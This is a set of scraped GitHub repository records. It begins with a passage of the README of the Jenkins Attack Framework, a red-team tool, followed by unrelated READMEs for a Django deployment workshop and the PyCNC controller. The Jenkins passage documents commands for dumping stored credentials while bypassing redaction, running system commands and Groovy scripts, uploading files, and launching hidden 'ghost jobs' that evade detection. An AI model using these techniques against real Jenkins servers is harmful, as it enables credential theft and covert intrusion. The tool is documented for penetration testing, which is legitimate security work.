[<Token Name or UUID>]\n\n\tJenkins Attack Framework\n\n\tpositional arguments:\n\tDeleteAPIToken        Delete an API Token for your user\n\t<Token Name or UUID>  If not specified, command will return list of tokens\n\t\t\t\t\t\t\tfor subsequent calls.\n\n\toptional arguments:\n\t-h, --help            show this help message and exit\n\t-s <Server>, --server <Server>\n\t\t\t\t\t\t\tJenkins Server\n\t-u <User-Agent>, --useragent <User-Agent>\n\t\t\t\t\t\t\tJAF User-Agent. Defaults to: Mozilla/5.0 (Windows NT\n\t\t\t\t\t\t\t10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like\n\t\t\t\t\t\t\tGecko) Chrome/80.0.3987.149 Safari/537.36\n\t-n <Timeout>, --timeout <Timeout>\n\t\t\t\t\t\t\tHTTP Request Timeout (in seconds). Defaults to: 30\n\t-o Output File, --output Output File\n\t\t\t\t\t\t\tWrite Output to File\n\t-a [<User>:[<Password>|<API Token>]|<Cookie>], --authentication [<User>:[<Password>|<API Token>]|<Cookie>]\n\t\t\t\t\t\t\tUser + Password or API Token, or full JSESSIONID\n\t\t\t\t\t\t\tcookie string\n\t-U <User Name>, --user <User Name>\n\t\t\t\t\t\t\tIf provided, will use Jenkins Script Console to delete\n\t\t\t\t\t\t\ttoken for this user. (Requires Admin \"/script\"\n\t\t\t\t\t\t\tpermissions)\n\n\n### DeleteJob\n\nAttempts to delete a Jenkins job. If the user does not have the rights, this will instead, attempt to delete all build logs, overwrite the job with a blank job, and then disable the job. \n\n\tusage: jaf.py DeleteJob [-h] -s <Server> [-u <User-Agent>] [-n <Timeout>]\n\t\t\t\t[-o Output File] [-a [<User>:[<Password>|<API Token>]|<Cookie>]]\n\t\t\t\t<Task Name>\n\n\tJenkins Attack Framework\n\n\tpositional arguments:\n\tDeleteJob             Delete Jenkins Jobs\n\t<Task Name>           Task to Delete\n\n\toptional arguments:\n\t-h, --help            show this help message and exit\n\t-s <Server>, --server <Server>\n\t\t\t\t\t\t\tJenkins Server\n\t-u <User-Agent>, --useragent <User-Agent>\n\t\t\t\t\t\t\tJAF User-Agent. Defaults to: Mozilla/5.0 (Windows NT\n\t\t\t\t\t\t\t10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like\n\t\t\t\t\t\t\tGecko) Chrome/80.0.3987.149 Safari/537.36\n\t-n <Timeout>, --timeout <Timeout>\n\t\t\t\t\t\t\tHTTP Request Timeout (in seconds). Defaults to: 30\n\t-o Output File, --output Output File\n\t\t\t\t\t\t\tWrite Output to File\n\t-a [<User>:[<Password>|<API Token>]|<Cookie>], --authentication [<User>:[<Password>|<API Token>]|<Cookie>]\n\t\t\t\t\t\t\tUser + Password or API Token, or full JSESSIONID\n\t\t\t\t\t\t\tcookie string\n\n\n### DumpCreds\n\nShould be self explanatory, but this does require administrative credentials with `/script` access.\n\n\tusage: jaf.py DumpCreds [-h] -s <Server> [-u <User-Agent>] [-n <Timeout>]\n              [-o Output File] [-a [<User>:[<Password>|<API Token>]|<Cookie>]]\n              [-N <Node>]\n\n\tJenkins Attack Framework\n\n\tpositional arguments:\n\tDumpCreds             Dump all Stored Credentials on Jenkins\n\n\toptional arguments:\n\t-h, --help            show this help message and exit\n\t-s <Server>, --server <Server>\n\t\t\t\t\t\t\tJenkins Server\n\t-u <User-Agent>, --useragent <User-Agent>\n\t\t\t\t\t\t\tJAF User-Agent. Defaults to: Mozilla/5.0 (Windows NT\n\t\t\t\t\t\t\t10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like\n\t\t\t\t\t\t\tGecko) Chrome/80.0.3987.149 Safari/537.36\n\t-n <Timeout>, --timeout <Timeout>\n\t\t\t\t\t\t\tHTTP Request Timeout (in seconds). Defaults to: 30\n\t-o Output File, --output Output File\n\t\t\t\t\t\t\tWrite Output to File\n\t-a [<User>:[<Password>|<API Token>]|<Cookie>], --authentication [<User>:[<Password>|<API Token>]|<Cookie>]\n\t\t\t\t\t\t\tUser + Password or API Token, or full JSESSIONID\n\t\t\t\t\t\t\tcookie string\n\t-N <Node>, --node <Node>\n\t\t\t\t\t\t\tNode (Slave) to execute against. Executes against\n\t\t\t\t\t\t\t\"master\" if not specified.\n\n### DumpCredsViaJob\n\nDump credentials by creating a Job and explicitly enumerating echoing out all the credentials that are\nstored and accessible to the user. These credentials are then Base64 encoded so as to prevent Jenkins from\nredacting them.  The credentials are retrieved and formatted. User must have at least Job creation privileges.\n\n\tusage: jaf.py DumpCredsViaJob [-h] -s <Server> [-u <User-Agent>]\n\t\t\t\t[-n <Timeout>] [-o Output File]\n\t\t\t\t[-a [<User>:[<Password>|<API Token>]|<Cookie>]] [-N <Node>]\n\t\t\t\t[-T <Node Type>] <Task Name>\n\n\n\tJenkins Attack Framework\n\n\tpositional arguments:\n\tDumpCredsViaJob       Dump credentials via explicit enumeration of shared\n\t\t\t\t\t\t\tcredentials in a job (Only requires job creation\n\t\t\t\t\t\t\tpermissions and some shared credentials)\n\t<Task Name>           Task to Create, must be unique (may not be deleted if\n\t\t\t\t\t\t\tuser doesn't have job deletion permissions, so pick\n\t\t\t\t\t\t\tsomething that blends in)\n\n\toptional arguments:\n\t-h, --help            show this help message and exit\n\t-s <Server>, --server <Server>\n\t\t\t\t\t\t\tJenkins Server\n\t-u <User-Agent>, --useragent <User-Agent>\n\t\t\t\t\t\t\tJAF User-Agent. Defaults to: Mozilla/5.0 (Windows NT\n\t\t\t\t\t\t\t10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like\n\t\t\t\t\t\t\tGecko) Chrome/80.0.3987.149 Safari/537.36\n\t-n <Timeout>, --timeout <Timeout>\n\t\t\t\t\t\t\tHTTP Request Timeout (in seconds). Defaults to: 30\n\t-o Output File, --output Output File\n\t\t\t\t\t\t\tWrite Output to File\n\t-a [<User>:[<Password>|<API Token>]|<Cookie>], --authentication [<User>:[<Password>|<API Token>]|<Cookie>]\n\t\t\t\t\t\t\tUser + Password or API Token, or full JSESSIONID\n\t\t\t\t\t\t\tcookie string\n\t-N <Node>, --node <Node>\n\t\t\t\t\t\t\tNode to execute against. If specified, you must also\n\t\t\t\t\t\t\tpass -T\n\t-T <Node Type>, --nodetype <Node Type>\n\t\t\t\t\t\t\tNode Type, either: \"posix\" or \"windows\". If specified,\n\t\t\t\t\t\t\tyou must also pass -N\n\n\n### ListAPITokens\n\nMethod simply lists all existing API Tokens for the user who's creds you supplied. If the `--user` option is passed, this command will instead list the API tokens for the supplied user (but you must have administrative `/script` console access to do this).\n\nThe actual API Tokens cannot be recovered as only a hash is stored, and only Admin users can even access these hashes. So this method is really only useful for getting a list before trying to use `CreateAPIToken` or `DeleteAPIToken`.\n\n\tusage: jaf.py ListAPITokens [-h] -s <Server> [-u <User-Agent>] [-n <Timeout>]\n\t\t\t\t[-o Output File] [-a [<User>:[<Password>|<API Token>]|<Cookie>]]\n\t\t\t\t[-U <User Name>]\n\n\tJenkins Attack Framework\n\n\tpositional arguments:\n\tListAPITokens         List API Tokens for your user\n\n\toptional arguments:\n\t-h, --help            show this help message and exit\n\t-s <Server>, --server <Server>\n\t\t\t\t\t\t\tJenkins Server\n\t-u <User-Agent>, --useragent <User-Agent>\n\t\t\t\t\t\t\tJAF User-Agent. Defaults to: Mozilla/5.0 (Windows NT\n\t\t\t\t\t\t\t10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like\n\t\t\t\t\t\t\tGecko) Chrome/80.0.3987.149 Safari/537.36\n\t-n <Timeout>, --timeout <Timeout>\n\t\t\t\t\t\t\tHTTP Request Timeout (in seconds). Defaults to: 30\n\t-o Output File, --output Output File\n\t\t\t\t\t\t\tWrite Output to File\n\t-a [<User>:[<Password>|<API Token>]|<Cookie>], --authentication [<User>:[<Password>|<API Token>]|<Cookie>]\n\t\t\t\t\t\t\tUser + Password or API Token, or full JSESSIONID\n\t\t\t\t\t\t\tcookie string\n\t-U <User Name>, --user <User Name>\n\t\t\t\t\t\t\tIf provided, will use Jenkins Script Console to query\n\t\t\t\t\t\t\ttokens for this user. (Requires Admin \"/script\"\n\t\t\t\t\t\t\tpermissions)\n\n\n### ListJobs\n\nMethod simply lists all jobs on the server, recursively.\n\n\tusage: jaf.py ListJobs [-h] -s <Server> [-u <User-Agent>] [-n <Timeout>]\n\t\t\t\t[-o Output File] [-a [<User>:[<Password>|<API Token>]|<Cookie>]]\n\n\tJenkins Attack Framework\n\n\tpositional arguments:\n\tListJobs              Get List of All Jenkins Job Names\n\n\toptional arguments:\n\t-h, --help            show this help message and exit\n\t-s <Server>, --server <Server>\n\t\t\t\t\t\t\tJenkins Server\n\t-u <User-Agent>, --useragent <User-Agent>\n\t\t\t\t\t\t\tJAF User-Agent. Defaults to: Mozilla/5.0 (Windows NT\n\t\t\t\t\t\t\t10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like\n\t\t\t\t\t\t\tGecko) Chrome/80.0.3987.149 Safari/537.36\n\t-n <Timeout>, --timeout <Timeout>\n\t\t\t\t\t\t\tHTTP Request Timeout (in seconds). Defaults to: 30\n\t-o Output File, --output Output File\n\t\t\t\t\t\t\tWrite Output to File\n\t-a [<User>:[<Password>|<API Token>]|<Cookie>], --authentication [<User>:[<Password>|<API Token>]|<Cookie>]\n\t\t\t\t\t\t\tUser + Password or API Token, or full JSESSIONID\n\t\t\t\t\t\t\tcookie string\n\n\n### RunCommand\n\nThis method wraps passed system commands to capture stdout and stderr and return it. Requires administrative credentials with `/script` access.\n\n\tusage: jaf.py RunCommand [-h] -s <Server> [-u <User-Agent>] [-n <Timeout>]\n\t\t\t\t[-o Output File] [-a [<User>:[<Password>|<API Token>]|<Cookie>]]\n\t\t\t\t[-x] [-N <Node>] <System Command> \n\n\tJenkins Attack Framework\n\n\tpositional arguments:\n\tRunCommand            Run System Command on Jenkins via Jenkins Console\n\t<System Command>      System Command To Run\n\n\toptional arguments:\n\t-h, --help            show this help message and exit\n\t-s <Server>, --server <Server>\n\t\t\t\t\t\t\tJenkins Server\n\t-u <User-Agent>, --useragent <User-Agent>\n\t\t\t\t\t\t\tJAF User-Agent. Defaults to: Mozilla/5.0 (Windows NT\n\t\t\t\t\t\t\t10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like\n\t\t\t\t\t\t\tGecko) Chrome/80.0.3987.149 Safari/537.36\n\t-n <Timeout>, --timeout <Timeout>\n\t\t\t\t\t\t\tHTTP Request Timeout (in seconds). Defaults to: 30\n\t-o Output File, --output Output File\n\t\t\t\t\t\t\tWrite Output to File\n\t-a [<User>:[<Password>|<API Token>]|<Cookie>], --authentication [<User>:[<Password>|<API Token>]|<Cookie>]\n\t\t\t\t\t\t\tUser + Password or API Token, or full JSESSIONID\n\t\t\t\t\t\t\tcookie string\n\t-x, --no_wait         Do not wait for Output\n\t-N <Node>, --node <Node>\n\t\t\t\t\t\t\tNode (Slave) to execute against. Executes against\n\t\t\t\t\t\t\t\"master\" if not specified.\n\n\n### RunJob\n\nAllows you to run jobs via Jenkins. The command will upload your script or executable and then execute it. The `-e` option allows you to specify what program is called to execute your uploaded script, otherwise the script is executed by the default handler. The `-A` allows you to specify an argument string to pass to your script or executable. For exmple, if both the `-e` and `-A` option were passed, your file would be executed in this fashion: `<executor> <payload name> <argument string>`.\n\nThe `-g` option allows you to run \"Ghost Jobs\". Ghost jobs are jobs which are launched then terminated and deleted so that they do not continue to show up in Jenkins. Due to some clever hackery with this feature, Jenkins does not terminate these jobs (or mark an executor as in-use), and the jobs can run indefinitely on the executing system.  This is an excellent way to upload a SOCKS5 server to a slave and run it on a high port to tunnel traffic with only Create Job permissions.\n\n**GHOSTJOB OPSEC WARNING 1:** In the case of running a GHOST job on a Windows slave, a helper executable is uploaded. If the slave is running as an administrative user, `wmic process call create` is used as part of the job termination bypass. You should not use this technique if the Windows Slaves are running EDR.\n\n**GHOSTJOB OPSEC WARNING 2:** You should ensure that your payloads are designed in such a way as to handle deleting themselves upon completion as in the case of Windows slaves, JAF cannot automatically do this.\n\n\tusage: jaf.py RunJob [-h] -s <Server> [-u <User-Agent>] [-n <Timeout>]\n\t\t\t\t[-o Output File] [-a [<User>:[<Password>|<API Token>]|<Cookie>]]\n\t\t\t\t[-x] [-g] [-N <Node>] [-T <Node Type>] [-e <Executor String>]\n\t\t\t\t[-A <Additional Arguments String>] <Task Name> <Executable File>\n\n\tJenkins Attack Framework\n\n\tpositional arguments:\n\tRunJob                Run Jenkins Jobs\n\t<Task Name>           Task to Create, must be unique (may not be deleted if\n\t\t\t\t\t\t\tuser doesn't have job deletion permissions, so pick\n\t\t\t\t\t\t\tsomething that blends in)\n\t<Executable File>     Local path to script to upload and run. Should be\n\t\t\t\t\t\t\tcompatible with OS and with expected extension.\n\n\toptional arguments:\n\t-h, --help            show this help message and exit\n\t-s <Server>, --server <Server>\n\t\t\t\t\t\t\tJenkins Server\n\t-u <User-Agent>, --useragent <User-Agent>\n\t\t\t\t\t\t\tJAF User-Agent. Defaults to: Mozilla/5.0 (Windows NT\n\t\t\t\t\t\t\t10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like\n\t\t\t\t\t\t\tGecko) Chrome/80.0.3987.149 Safari/537.36\n\t-n <Timeout>, --timeout <Timeout>\n\t\t\t\t\t\t\tHTTP Request Timeout (in seconds). Defaults to: 30\n\t-o Output File, --output Output File\n\t\t\t\t\t\t\tWrite Output to File\n\t-a [<User>:[<Password>|<API Token>]|<Cookie>], --authentication [<User>:[<Password>|<API Token>]|<Cookie>]\n\t\t\t\t\t\t\tUser + Password or API Token, or full JSESSIONID\n\t\t\t\t\t\t\tcookie string\n\t-x, --no_wait         Do not wait for Job. Cannot be specified if -g is\n\t\t\t\t\t\t\tpassed\n\t-g, --ghost           Launch \"ghost job\", does not show up as a running job\n\t\t\t\t\t\t\tafter initial launch, does not tie up executors, and\n\t\t\t\t\t\t\truns indefinitely. Cannot be specified with the -x\n\t\t\t\t\t\t\toption.\n\t-N <Node>, --node <Node>\n\t\t\t\t\t\t\tNode (Slave) to execute against. Executes against any\n\t\t\t\t\t\t\tavailable node if not specified.\n\t-T <Node Type>, --nodetype <Node Type>\n\t\t\t\t\t\t\tNode Type, either: \"posix\" or \"windows\". If specified,\n\t\t\t\t\t\t\tyou must also pass -N\n\t-e <Executor String>, --executor <Executor String>\n\t\t\t\t\t\t\tIf passed, this command string will be prepended to\n\t\t\t\t\t\t\tcommand string ([<Executor String>] <Executable File>\n\t\t\t\t\t\t\t[<Additional Arguments String>]).\n\t-A <Additional Arguments String>, --args <Additional Arguments String>\n\t\t\t\t\t\t\tIf passed, this will be concatonated to the end of the\n\t\t\t\t\t\t\tcommand string ([<Executor String>] <Executable File>\n\t\t\t\t\t\t\t[<Additional Arguments String>]).\n\n\n### RunScript\n\nShould be self explanatory, but this does require administrative credentials with `/script` access.\n\n\tusage: jaf.py RunScript [-h] -s <Server> [-u <User-Agent>] [-n <Timeout>]\n              [-o Output File] [-a [<User>:[<Password>|<API Token>]|<Cookie>]]\n              [-x] [-N <Node>] <Groovy File Path> \n\n\tJenkins Attack Framework\n\n\tpositional arguments:\n\tRunScript             Run Specified Groovy Script via Jenkins Console\n\t<Groovy File Path>    Groovy File Path to Run via Script Console\n\n\toptional arguments:\n\t-h, --help            show this help message and exit\n\t-s <Server>, --server <Server>\n\t\t\t\t\t\t\tJenkins Server\n\t-u <User-Agent>, --useragent <User-Agent>\n\t\t\t\t\t\t\tJAF User-Agent. Defaults to: Mozilla/5.0 (Windows NT\n\t\t\t\t\t\t\t10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like\n\t\t\t\t\t\t\tGecko) Chrome/80.0.3987.149 Safari/537.36\n\t-n <Timeout>, --timeout <Timeout>\n\t\t\t\t\t\t\tHTTP Request Timeout (in seconds). Defaults to: 30\n\t-o Output File, --output Output File\n\t\t\t\t\t\t\tWrite Output to File\n\t-a [<User>:[<Password>|<API Token>]|<Cookie>], --authentication [<User>:[<Password>|<API Token>]|<Cookie>]\n\t\t\t\t\t\t\tUser + Password or API Token, or full JSESSIONID\n\t\t\t\t\t\t\tcookie string\n\t-x, --no_wait         Do not wait for Output\n\t-N <Node>, --node <Node>\n\t\t\t\t\t\t\tNode (Slave) to execute against. Executes against\n\t\t\t\t\t\t\t\"master\" if not specified.\n\n\n### UploadFile\n\nThis method requires administrative credentials with `/script` access.\nThis method works by chunking files into pieces small enough to post to the Jenkins server as base64 encoded chunks that are decoded via groovy commands in the console and appended to a file.  For this to work, you should ensure that the upload file path is:\n\n1) a full path (no `~` or other expansion will be done, nor folders created).\n\n2) write-able by the jenkin's system user.\n\n3) In the path format for the OS in use.\n\nIn addition, it is critical that the file does not already exist. Due to the mulitiple chunk nature, this process is additive. An existing file will result in the upload file being appended to the existing file.\n\n\n\tusage: jaf.py UploadFile [-h] -s <Server> [-u <User-Agent>] [-n <Timeout>]\n              [-o Output File] [-a [<User>:[<Password>|<API Token>]|<Cookie>]]\n              [-N <Node>] <Upload File> <Upload File Path> \n\n\tJenkins Attack Framework\n\n\tpositional arguments:\n\tUploadFile            Upload file to Jenkins Server via chunked upload\n\t\t\t\t\t\t\tthrough Jenkins Console (slow for large files)\n\t<Upload File>         Local Path to File to Upload\n\t<Upload File Path>    Remote Full File Path to Upload To. SHOULD NOT ALREADY\n\t\t\t\t\t\t\tEXIST! (Upload is appended to existing file)\n\n\toptional arguments:\n\t-h, --help            show this help message and exit\n\t-s <Server>, --server <Server>\n\t\t\t\t\t\t\tJenkins Server\n\t-u <User-Agent>, --useragent <User-Agent>\n\t\t\t\t\t\t\tJAF User-Agent. Defaults to: Mozilla/5.0 (Windows NT\n\t\t\t\t\t\t\t10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like\n\t\t\t\t\t\t\tGecko) Chrome/80.0.3987.149 Safari/537.36\n\t-n <Timeout>, --timeout <Timeout>\n\t\t\t\t\t\t\tHTTP Request Timeout (in seconds). Defaults to: 30\n\t-o Output File, --output Output File\n\t\t\t\t\t\t\tWrite Output to File\n\t-a [<User>:[<Password>|<API Token>]|<Cookie>], --authentication [<User>:[<Password>|<API Token>]|<Cookie>]\n\t\t\t\t\t\t\tUser + Password or API Token, or full JSESSIONID\n\t\t\t\t\t\t\tcookie string\n\t-N <Node>, --node <Node>\n\t\t\t\t\t\t\tNode (Slave) to execute against. Executes against\n\t\t\t\t\t\t\t\"master\" if not specified.\n\n\n### WhoAmI\n\nThis method is basically a useability wrapper around `/api/whoAmI`. This page shows the current logged-in users all the Jenkins groups they are in.\nIn the case of a LDAP/Domain-Connected Jenkins, this also includes all domain groups for the user (recursively or not depends on admin settings).\n\n\tusage: jaf.py WhoAmI [-h] -s <Server> [-u <User-Agent>] [-n <Timeout>]\n\t\t\t\t[-o Output File] [-t <Threads>]\n\t\t\t\t[-a [<User>:[<Password>|<API Token>]|<Cookie>]]\n\t\t\t\t[-c <Credential File>]\n\n\tJenkins Attack Framework\n\n\tpositional arguments:\n\tWhoAmI                Get Users Roles and Possibly Domain Groups\n\n\toptional arguments:\n\t-h, --help            show this help message and exit\n\t-s <Server>, --server <Server>\n\t\t\t\t\t\t\tJenkins Server\n\t-u <User-Agent>, --useragent <User-Agent>\n\t\t\t\t\t\t\tJAF User-Agent. Defaults to: Mozilla/5.0 (Windows NT\n\t\t\t\t\t\t\t10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like\n\t\t\t\t\t\t\tGecko) Chrome/80.0.3987.149 Safari/537.36\n\t-n <Timeout>, --timeout <Timeout>\n\t\t\t\t\t\t\tHTTP Request Timeout (in seconds). Defaults to: 30\n\t-o Output File, --output Output File\n\t\t\t\t\t\t\tWrite Output to File\n\t-t <Threads>, --threads <Threads>\n\t\t\t\t\t\t\tNumber of max concurrent HTTP requests. Defaults to: 4\n\t-a [<User>:[<Password>|<API Token>]|<Cookie>], --authentication [<User>:[<Password>|<API Token>]|<Cookie>]\n\t\t\t\t\t\t\tUser + Password or API Token, or full JSESSIONID\n\t\t\t\t\t\t\tcookie string\n\t-c <Credential File>, --credentialfile <Credential File>\n\t\t\t\t\t\t\tCredential File (\"-\" for stdin). Creds in form\n\t\t\t\t\t\t\t\"<User>:<Password>\" or \"<User>:<API Token>\"\n\n\n## Version Info:\n\nThis should be kept up to date with the lastest version info at the top.\n\n###    1.5.2\n\nAdded a bit more postive confirmation when using `RunJob` with the `-g` or `-x` options.\n\n###    1.5.1\n\nAdded the `DeleteJob` feature to complement `RunJob` and `ListJob`.\n\n###    1.5\n\nAdded the `RunJob` feature including the very powerful `GhostJob` feature.\n\nOther minor bug fixes, more unit tests, and templating updates.\n\n###    1.4.1\n\nMore code improvements and clean ups.\n\nAdded `--user` option for these commands: `CreateAPIToken`, `DeleteAPIToken`, `ListAPITokens`\n\n###    1.4\n\nMore code improvements and clean ups.\n\nAdded three new API Token Commands (and corresponding unit tests): `CreateAPIToken`, `DeleteAPIToken`, `ListAPITokens`\n\n###    1.3\n\nFixed a bunch of little bugs.\n\nWrote a Unit Test Framework for this tool.\n\nMany minor code clean-ups.\n\nPulled the `install_dependencies.sh` script into the main `jaf` wrapper script.\n\n###    1.2\n\nMajor Code Refactor with Plugin Framework.\n\nAdded new \"DumpCredsViaJob\" method.\n\nAdded node/slave specification for many of the commands: DumpCreds, DumpCredsViaJob, RunCommand, RunScript, UploadFile\n\nFixed a bug in UploadFile where back slashes were not being properly escaped in paths.\n\nUpdated Credential Dumping Script to dump more types of credentials and domain and ldap binding credentials.\n\n###    1.1\n\nFixed some authentication bugs.\n\n###\t   1.0\n\nDue to the full re-write/rebranding of Jenkins Miner, this is now version 1.0 of the Jenkins Attack Framework.\n\nCredit\n======\n\nThis project was originally developed by Shelby Spencer (@shellster) with the gracious support, funding, and resources of Accenture.  The project is wholly owned by Accenture, but is licensed under the MIT license (see LICENSE file).\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "jacobian/django-deployment-workshop", "link": "https://github.com/jacobian/django-deployment-workshop", "tags": [], "stars": 505, "description": "Code and configuration used in my Django Deployment Workshop.", "lang": "Python", "repo_lang": "", "readme": "Django Deployment Workshop\n==========================\n\nThis is code and configuration for my Django Deployment Workshop.\n\nHere you'll find example config used to set up an example deployment\nenvironment for a Python WSGI stack, including:\n\n* A Django site deployed with Pip_, Virtualenv_, and Fabric_.\n* Apache/mod_wsgi_ and Gunicorn_ application servers.\n* Nginx_ load balancers and media servers.\n* Memcached_.\n* PostgreSQL_ with `pgpool`_\n\n.. _pip: http://pip.rtfd.org/\n.. _virtualenv: http://virtualenv.rtfd.org/\n.. _fabric: http://fabfile.org/\n.. _buildout: http://buildout.org/\n.. _mod_wsgi: http://modwsgi.org/\n.. _nginx: http://wiki.nginx.org/\n.. _memcached: http://memcached.org/\n.. _postgresql: http://postgresql.org/\n.. _pgpool: http://pgpool.projects.postgresql.org/\n.. _gunicorn: http://gunicorn.org/\n\nI've made comments and notes where possible, but it's entirely possible that\nthis won't make a whole lot of sense without actually taking the class. But\nthis is all BSD-licensed, so please feel free to use it as a starting point\nfor you own deployments.\n\nThe Django site used for the examples is Kevin Fricovsky's Mingus_, a blog\napplication built on a bunch existing reusable apps.\n\n.. _mingus: https://github.com/montylounge/django-mingus\n\nGetting the app running\n=======================\n\nSee Mingus's INSTALL_ doc for the basics of getting Mingus running. If you're\non a VM or remote server remember that you'll have to ``runserver 0.0.0.0:8000`` to get Django listening on public IP interfaces.\n\n.. _install: https://github.com/montylounge/django-mingus/blob/master/docs/INSTALL.textile\n\nAfter than, start deploying. My script for the install is in ``notes``; be sure to follow along with the most recent one (PyCon 2011 as of this writing).\nThe other scripts are there for posterity.\n\nIf you're not using Ubuntu 10.04 LTS then YMMV.\n\nFurther reading\n===============\n\nBy my count this three-hour class covers about a dozen different pieces of\ntechnology. Below are some links to documentation of these various bits. If\nyou read through all of it until you understand every command and\nconfiguration option I've used, you'll be well on your way towards groking\nthis stuff. Good luck!\n\n    * Ubuntu_.\n    * git_ (also see the `git book`_).\n    * Pip_.\n    * Virtualenv_.\n    * Django_; see particularly the `settings reference`_.\n    * Apache_; the `directive quick reference`_ is especially useful.\n    * mod_wsgi_:\n        * `Django's mod_wsgi docs`_.\n        * `mod_wsgi's Django docs`_.\n    * Gunicorn_\n    * `PostgreSQL docs`_, including:\n        * `Server configuration`_ (``postgresql.conf``).\n        * `Client authentication`_ (``pg_hba.conf``).\n    * Fabric_.\n    * Nginx_, specifically the upstream_ and proxy_ modules.\n    * memcached_.\n    * Django's `caching framework`_.\n    * pgpool2_.\n    * Chef_, specifically `Chef Solo`_.\n    \n.. _ubuntu:\n.. _git: http://git-scm.com/documentation\n.. _`git book`: http://book.git-scm.com/\n.. _django: http://docs.djangoproject.com/en/dev/\n.. _`settings reference`: http://docs.djangoproject.com/en/dev/ref/settings/\n.. _apache: http://httpd.apache.org/docs/2.2/\n.. _`directive quick reference`: http://httpd.apache.org/docs/2.2/mod/quickreference.html\n.. _`django's mod_wsgi docs`: http://docs.djangoproject.com/en/dev/howto/deployment/modwsgi/\n.. _`mod_wsgi's Django docs`: http://code.google.com/p/modwsgi/wiki/IntegrationWithDjango\n.. _`postgresql docs`: http://www.postgresql.org/docs/current/static/\n.. _`server configuration`: http://www.postgresql.org/docs/8.4/static/runtime-config.html\n.. _`client authentication`: http://www.postgresql.org/docs/8.4/static/client-authentication.html\n.. _upstream: http://wiki.nginx.org/NginxHttpUpstreamModule\n.. _proxy: http://wiki.nginx.org/NginxHttpProxyModule\n.. _`caching framework`: http://docs.djangoproject.com/en/dev/topics/cache/\n.. _pgpool2: http://pgpool.projects.postgresql.org/pgpool-II/doc/pgpool-en.html\n.. _chef: http://wiki.opscode.com/display/chef/Home\n.. _chef solo: http://wiki.opscode.com/display/chef/Chef+Solo", "readme_type": "rst", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "talkpython/data-driven-web-apps-with-flask", "link": "https://github.com/talkpython/data-driven-web-apps-with-flask", "tags": ["flask", "sqlalchemy", "unit-testing", "fullstack", "course", "online-learning", "python", "flask-course", "course-demo", "python3", "mongodb"], "stars": 505, "description": "Course demo code and other hand-out materials for our data-driven web apps in Flask course", "lang": "Python", "repo_lang": "", "readme": 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"readme_type": "text", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "Nikolay-Kha/PyCNC", "link": "https://github.com/Nikolay-Kha/PyCNC", "tags": ["raspberry-pi", "cnc", "cnc-controller", "cnc-machine", "3d-printing", "3d-printer", "cnc-milling-controller", "pycnc", "raspberry-pi-3", "gcode"], "stars": 505, "description": "Python CNC machine controller for Raspberry Pi and other ARM Linux boards", "lang": "Python", "repo_lang": "", "readme": "[![Build Status](https://travis-ci.org/Nikolay-Kha/PyCNC.svg?branch=master)](https://travis-ci.org/Nikolay-Kha/PyCNC)\n\n\n![](https://cloud.githubusercontent.com/assets/8740775/26766365/14796b54-4999-11e7-8ca2-9428a45878ab.png)  \n\nPyCNC is a free open-source high-performance G-code interpreter and\nCNC/3D-printer controller. It can run on a variety of Linux-powered ARM-based\nboards, such as Raspberry Pi, Odroid, Beaglebone and others. This gives you a\nflexibility to pick a board you are most familiar with, and use everything\nLinux has to offer, while keeping all your G-code runtime on the same board\nwithout a need to have a separate microcontroller for real-time operation.\nOur choice of Python as main programming language significantly reduces code\nbase compared to C/C++ projects, reduces boilerplate and microcontroller-specific\ncode, and makes the project accessible to a broader audience to tinker with.\n\n# Realtime Motor Control in Linux?\nTypically there is no way to control stepper motors from Linux runtime\nenvironment due to the lack of real time GPIO control. Even kernel based\nmodules can not guarantee precise control of pulses for steppers.\nHowever, we can use a separate hardware module, DMA (Direct Memory Access)\nwhich provides high precision for GPIO outputs. This module can copy bytes which\nrepresent GPIO states from RAM buffer directly to GPIO with some clock based\non main chip internal oscillator without using CPU's cores. Using such approach\nthis project generates impulses for moving stepper motors and that is very\nprecise way regardless CPU load and OS time jitter.  \nThis approach also allows to use Python language for this project. Typically,\nPython is not good choice for real time application, but since project just\nneeds to set up DMA buffers and hardware will do the rest, Python become the\nperfect choice for easy development of this project.\n\nVideo demo - [YouTube video](https://youtu.be/41wdmmztTNA)  \nAnd the original video when PyCNC was just a prototype [YouTube video](https://youtu.be/vcedo59raS4)\n\n# Current gcode and features support\n* Commands G0, G1, G2, G3, G4, G17, G18, G19, G20, G21, G28, G53, G90, G91, G92,\nM2, M3, M5, M30, M84, M104, M105, M106, M107, M109, M114, M140, M190 are\nsupported. Commands can be easily added, see [gmachine.py](./cnc/gmachine.py)\nfile.\n* Four axis are supported - X, Y, Z, E.\n* Circular interpolation for XY, ZX, YZ planes is supported.\n* Spindle with rpm control is supported.\n* Extruder and bed heaters are supported.\n* Hardware watchdog.\n\n# Watchdog\nPyCNC uses one of DMA channels as hardware watchdog for safety purpose. If\nboard, OS or PyCNC hangs this watchdog should disable all GPIO pins(by\nswitching them into input state, for RPi this would be GPIO0-29) in 15 seconds.\nSince there is a high current and dangerous devices like heated bed, extruder\nheater, this feature should prevent uncontrollable overheating. But don't count\non such software features too much, they can hang too or output MOSFET become\nshorted, use hardware protection like thermal cutoff switches in your machines.\n\n# Hardware\nCurrently, this project supports Raspberry Pi 1-3. Developed and tested with\nRPI3. And there is a way to add new boards. See [hal.py](./cnc/hal.py) file.  \n_Note: Current Raspberry Pi implementation uses the same resources as on board\n3.5 mm jack(PWM module), so do not use it. HDMI audio works._\n\n# Config\nAll configs are stored in [config.py](./cnc/config.py) and contain hardware\nproperties, limitations and pin names for hardware control.  \nRaspberry Pi implementation should be connected to A4988, DRV8825 or any other\nstepper motor drivers with DIR and STEP pin inputs.\nDefault config is created for Raspberry Pi 2-3 and this wiring config:\n\n| Circuit name    | RPi pin name | 